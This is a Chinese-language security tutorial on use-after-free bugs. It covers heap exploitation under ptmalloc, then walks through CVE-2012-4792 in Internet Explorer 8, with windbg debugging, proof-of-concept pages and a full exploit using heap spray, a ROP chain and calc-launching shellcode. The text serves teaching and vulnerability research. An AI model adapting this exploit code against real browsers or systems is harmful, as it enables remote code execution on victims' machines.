1. Use After Free的概念
Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况: (1)内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。 (2)内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。 (3)内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。 而我们一般所指的 Use After Free 漏洞主要是后两种。特别的,常见的double free 漏洞其实也是一种特殊的UAF,只不过是free之后的‘use’是再次‘free’。
2. UAF漏洞存在必备三步骤
(1)分配一个内存区并且让一个指针指向它。 (2)内存区被释放,但原来的指针仍然可用。 (3)使用该指针能访问先前释放的内存区。(这里的“访问”可以代表“写”也可以代表“读”)
3. UAF漏洞利用的模式
从UAF利用的目的来看,UAF漏洞的一般利用模式分为两种,一种是为了进行“信息泄露”,而另一种是为了进行“流程控制”。 (1)进行信息的主要步骤: 1)释放chunk 2)chunk的内存不能清空 3)指向该释放chunk 的指针不清空 4)有能够利用该指针打印内存的函数 (2)进行流程控制的主要步骤 1)释放chunk 2)指向该释放chunk 的指针不清空 3)有能够向该指针所指向内存进行写入的函数 4)具体的情况(有函数指针在chunk上,chunk大小恰好)
4.UAF在Linux的利用变形
一般来说UAF都符合如上的利用模式,但是结合具体系统的不同特点,也有一定的变形,比如结合Linux系统下的ptmalloc堆管理器的实现缺陷,UAF还有如下的变形利用。
(1)overlapping
因为Linux系统下的ptmalloc堆管理器,是按照如下结构来管理堆块的,所以可以通过篡改size域来欺骗堆管理器。
1)构造chunk范围的重叠
2)释放重叠区chunk
3)利用另一重叠区chunk进行读写
(2)fastbin attack (tcache attack)
1)释放同一chunk两次
2)再次申请后覆写FD指针
3)之后可以将任意覆写的FD指针位置作为fake chunk申请出来,并任意写。
5.UAF利用案例分析
通过一个案例来具体展示并说明UAF的利用流程和特点。CVE-2012-4792是一个真实的IE浏览器漏洞,展示在完全真实的复杂情况下如何去分析UAF漏洞并完成利用。 漏洞简介: 2012年9月,通用漏洞与披露平台发布了一个存在IE浏览器的UAF漏洞。 报告指出:Microsoft Internet Explorer 6至9版本中的mshtml.dll中的CMshtmlEd::Exec函数中存在释放后使用漏洞。远程攻击者可利用该漏洞通过特制的网站,执行任意代码。 测试环境: 操作系统:Windows XP sp3 浏览器:IE 8.00.6001.18702 漏洞文件:mshtml 8.00.6001.18702 调试器:windbg x86 漏洞验证: 首先利用给出一段简单的poc验证CVE漏洞:
<!doctype html>
<html>
<head>
<script>
function exploit()
{
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.createElement("div");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.innerHTML = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
}
</script>
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>
将poc代码保存为test.html文件,打开之后,允许阻止的内容
就会发生异常并崩溃,如下所示:
说明确实存在漏洞,接下来就针对这个漏洞进行调试并分析其原理!
漏洞分析:
一、初步分析
首先解释一下上面一段poc代码的作用:
e0=form
e1=dfn
e2=q
e1.applyElement(e2);//相当于把 e2 作为 e1 的父亲即 q->dfn
e1.appendChild(document.createElement('button'));//相当于把 button 作为 e1 的孩子
即 q->dfn->button
e1.applyElement(e0);//相当于把 form 作为 q 的父亲,即 q->form->dfn->button,构造好的对象如图所示。
e2.outerText = "";//相当于删除了 q 里面所有的东西,这样 q 下面所有的东西也被删除了,如图所示。
e2.appendChild(document.createElement('body'));//在 q 下面加一个 body 即:q->body 如图所示。
既然该漏洞为 use after free,那么 free 在这里就是指的 e2.outerText = "",该条语句意味着删除了 q 里面的所有的东西,而 use 在这里不是很容易理解(这里可以提前透露一下,因为e2.outerText = ""执行过之后需要找一个默认的元素,在寻找默认的元素的时候,因为在释放之前最后一次创建的对象是一个 button,所以把已经释放的 button 给找出来了,这样就用了一个已经释放的对象),我们接下来分析汇编层次是怎样的。
二、深入分析
接下来,再次运行这段 poc,同时利用windbg调试一下,看看问题究竟出在哪里? 同时解决下面的三个核心问题: 1.什么时候创建的堆 2.什么时候释放的堆 3.什么时候使用的堆
在检测 IE 哪里出问题之前,我们需要设置一下调试工具。
Tips: gflags.exe 是
首先我们需要设置 gflags,进入 windbg 的安装目录,输入如下命令
gflags /i iexplore.exe
gflags /i +ust +hpa iexplore.exe
上面两条命令的含义是:在特定的文件上进行跟踪,这里是在 iexplore.exe 上进行跟踪,然后开启 hpa(page heap,页堆)并创建 ust(user mode stack trace database,用户模式堆栈跟踪数据库)。 上面两条命令的含义是:在特定的文件上进行跟踪,这里是在 iexplore.exe 上进行跟踪,然后开启 hpa(page heap,页堆)并创建 ust(user mode stack trace database,用户模式堆栈跟踪数据库)。 关于为什么要启用页堆?
① 启用 pageheap 后,系统的堆管理器会把内存分配到 4k 页面的末尾(注意需要 4 字节对齐,debug 模式下还存在边界检查的 4 字节 fd)
② 紧随着的下一个页面被设置为 PAGE_NOACCESS 属性
③ 启用 pageheap 后,释放内存把整个页面设置为 PAGE_NOACCESS 属性
④ 内存越界和非法操作依靠非法访问 PAGE_NOACCESS 属性的页面暴露问题
⑤ 由于每块内存都至少需要 2 个页面(1 个页面分配,1 个页面 PAGE_NOACCESS),在内存 消耗较大的环境下会占用极大的内存资源。
⑥ 把 pageheap 和 crt 的堆检查函数结合起来,能够更好的暴露堆相关 bug
输入如下命令
windbg -g -G -o "C:\Program Files\Internet Explorer\iexplore.exe" "C:\Documents and Settings\dx\桌面\test.html"
那么就打开了 windbg,在运行过程中 ie 提示是否加载 activex 控件,右击允许,然后可以在windbg 中看到如下的出错的信息。
我们来看看究竟能挖出点什么情报出来。
单从上面的这段异常来看,我们就可以挖掘点有用的情报,我们可以知道 (1) 出错的位置在 637848ae 处; (2) 该处正在执行 mov eax,dword ptr [edi]; (3) 该处距离 mshtml!CMarkup::OnLoadStatusDone 比较近。 让我们继续挖情报,我们来查看一下此时的页堆中的堆栈跟踪,在 windbg 中输入如下命令
!heap –p –a edi
出现如下关于页堆的详细信息。
发现了什么?CButton 析构函数那边释放了资源之后,开始出问题了!
怎么回事?难道说是 CButton 释放之后,哪边又用到了 CButton 了吗?!
我们来看看函数调用堆栈,在 windbg 中输入如下命令。
kv
可以发现如下结果。
不难看出来,是在 mshtml!CMarkup::OnLoadStatusDone+0x4ef 处也就是正在执行 mov
eax,dword ptr [edi]的时候出的问题啊(也就是重用)?!
总结一下目前获取到的信息: (1) 由 637848ae 8b07 mov eax,dword ptr [edi] ds:0023:066bafa8=????????这条指令我们知道了重用所在的位置,并且知道重用处离 mshtml!CMarkup::OnLoadStatusDone很近; (2) 利用!heap –p –a edi,我们查看了对堆进行操作的 stack trace,发现了 CButton 对象 中析构函数的调用 mshtml!CButton::`vector deleting destructor'+0x0000002f(也就是 资源的释放)导致后面出现了问题。 (3) 利 用kv , 我 们 查 看 了 函 数 调 用 堆 栈 , 可 以 知 道 , 在 mshtml!CMarkup::OnLoadStatusDone+0x4ef 处出现了堆块的重用。
再精炼一下:所谓的 use after free 中, use 是指的 mshtml!CMarkup::OnLoadStatusDone+0x4ef 处的 mov eax,dword ptr [edi]; free 指的是 mshtml!CButton::`vector deleting destructor'+0x0000002f。 那么既然知道了这些,我们还需要知道哪些信息呢? (1) button 是在哪里创建的,创建后的地址是什么? (2) button 释放是在哪里释放的? (3) mov eax,dword ptr [edi]附近是什么样的重用情况? 带着上面三个疑问,让我们详细审视一下。
在windbg中用 x mshtml!CButton::* 命令查看一下和CButton这个类有关的函数,可以发现如下信息:
既然知道了函数的地址,那么我们就可以用如下命令去查看函数的反汇编代码
可以看出来创建堆块的时候用了HeapAlloc,释放的时候用了HeapFree。
接下来我们再看看重用的附近有什么情况。 通过之前的分析可以知道,重用的代码位于 mshtml!CMarkup::OnLoadStatusDone 附近。 接下来看看 mshtml!CMarkup::OnLoadStatusDone 这个函数里面有些什么?
uf mshtml!CMarkup::OnLoadStatusDone
可以发现出来一长串代码,摘录其中的重要的部分如下:
可以看出在调用完 mshtml!CElement::FindDefaultElem 后才执行
mshtml!CMarkup::OnLoadStatusDone+0x4ef 啊!(关于为什么要关注
mshtml!CElement::FindDefaultElem,可以查看微软的分析如下:
来具体分析这个 mshtml!CElement::FindDefaultElem,看看为什么是它惹起了祸端?
根据微软的分析,我们可以知道是 CDoc 中还保存了被释放了的 button 的地址,结果被
FindDefaultElem 给碰上了,所以就能够造成重用,而我们反汇编的结果也证明了这种情况。
三、分析总结
通过上面的分析,现在来总结一下。 因为mshtml!CElement::FindDefaultElem 想找一个默认的button对象去给mshtml!CMarkup::OnLoadStatusDone+0x4ef去使用,结果呢,找到了 CDoc 里面已经释放了的button, 可想而知, FindDefaultElem 找到一个释放的button去给mshtml!CMarkup::OnLoadStatusDone+0x4ef 使用,自然会造成重用!错误的核心就是因为 CDoc 里面保存了已经被释放的 button 的地址!
四、利用思路
与上面的分析过程相对应,通过下断点调试,得到关键过程与JS代码的对应关系如下:
- e1.appendChild(document.createElement(‘button’)); 执行了HeapAlloc函数
- e2.outerText = “”; 把button对象释放了
- e2.appendChild(document.createElement(‘body’)); 是的内存重用 调试发现控制EIP很简单,mov eax, [edi]得到虚函数表,call dword ptr [eax+0DCh]从虚函数表调用函数。虽然CButton的内存空间已经释放,但保存在CDoc中的信息并没有被删除,只是指向了一块已经释放的内存。FindDefaultElem中会寻找默认元素,默认元素为上面最后创建的Button,保存于CDoc+0x1A8的位置。FindDefaultElem最终从CDoc中取出DefaultElement,正常时应返回CButton对象地址,但此时指向的内存正是前面释放的。
接下来我们研究这个漏洞的利用。现在我们知道了被释放对象的大小以及它是什么时候被释放的,所以很容易能够把被释放的内存替换成我们能够控制的内容。首先我们需要确保CButton对象使用的内存是由Low Fragmentation Heap分配的。即使堆中总可用内存足以满足请求,内存分配也可能会失败,因为可能没有足够大的单个内存块。LFH有助于减少堆碎片,当应用程序从启用LFH的堆请求内存分配时,系统将分配能够包含请求大小的最小内存块。这会使得替换被释放的内存更简单,因为LFH不合并不连续的空闲块并且会倾向于再次使用最新的被释放的内存块。被释放的CButton的大小是0x58(在CButton::CreateElement函数中可以看到),所以我们只需要分配这么大的内存,释放后再次填充它。 IE8支持HTML+TIME,它允许我们创建一个包含指向我们控制的字符串的指针的任意大小的数组,这样就可以控制被释放的0x58大小的内存,然后将vtable指向一个完全在我们控制之下的字符串,这样就能够在没有使用heapspray的情况下控制call [eax+0xDC]。现在在HTML代码中加入一些有趣的东西,否则HTML+TIME不会按照我们期望的方式工作。
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
...
<t:ANIMATECOLOR id="myanim"/>
...
通过将t:ANIMATECOLOR元素的values属性设置为分号分隔的字符串,我们可以创建一个指向字符串各个元素的指针数组。我们需要使用含有0x58/4==0x22个元素的字符串。
animvalues = "u4141u4141"
while(animvalues.length < 0xDC) {
animvalues += animvalues
}
for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
将values属性设置为此字符串,现在可以直接控制EIP了。
try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
因为这些值本来应该是合法的颜色,所以需要在try-except结构中执行此操作。完整的POC如下。
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld() {
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
animvalues = "\u4141\u4141"
while(animvalues.length < 0xDC) {
animvalues += animvalues
}
for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.firstChild.applyElement(e_form);
e_div.innerHTML = ""
e_div.appendChild(document.createElement('body'));
CollectGarbage();
try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld())">
<t:ANIMATECOLOR id="myanim"/>
<div></div>
<form id="formelm">
</form>
</body>
</html>
接下来就可以使用XP的ROP链来完成接下来的操作了。 完整EXP如下:
<!doctype html>
<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u0b30%u0c0c");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
var nops=unescape("%u9090%u9090");
while(nops.length<0x400) nops+=nops;
while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3");
nops+=unescape("%u198c%u51be");
var code =unescape(
"%u4a41%u51be%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+
"%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+
"%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+
"%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+
"%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+
"%u9090%u9090%ua8dc%u51bd"+ //ROP结束
"%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" + //shellcode calc.exe
"%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" +
"%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" +
"%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" +
"%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" +
"%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" +a
"%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" +
"%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" +
"%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" +
"%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" +
"%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" +
"%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" +
"%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" +
"%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" +
"%ua4b3%u7851%u431a%u1bd2%u4162");
var offset=0x5F4;
var junk_offset=nops.substring(0,0x5F4);
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
while(shellcode.length<0x40000)
{
shellcode+=shellcode;
}
var block = shellcode.substring(0,0x40000);
var heap_chunks = new Array();
for (var i=1; i < 0x700; i++)
heap_chunks[i] = block.substring(0,0x40000);
//location.href = 'ms-help://';
function helloWorld()
{
//alert(1);
var e0 = null;
var e1 = null;
var e2 = null;
try
{
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
}
</script>
</head>
<body onload="helloWorld()">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
执行的效果如下:
可以发现确实弹出来了计算器,说明利用成功!!!!!!!!!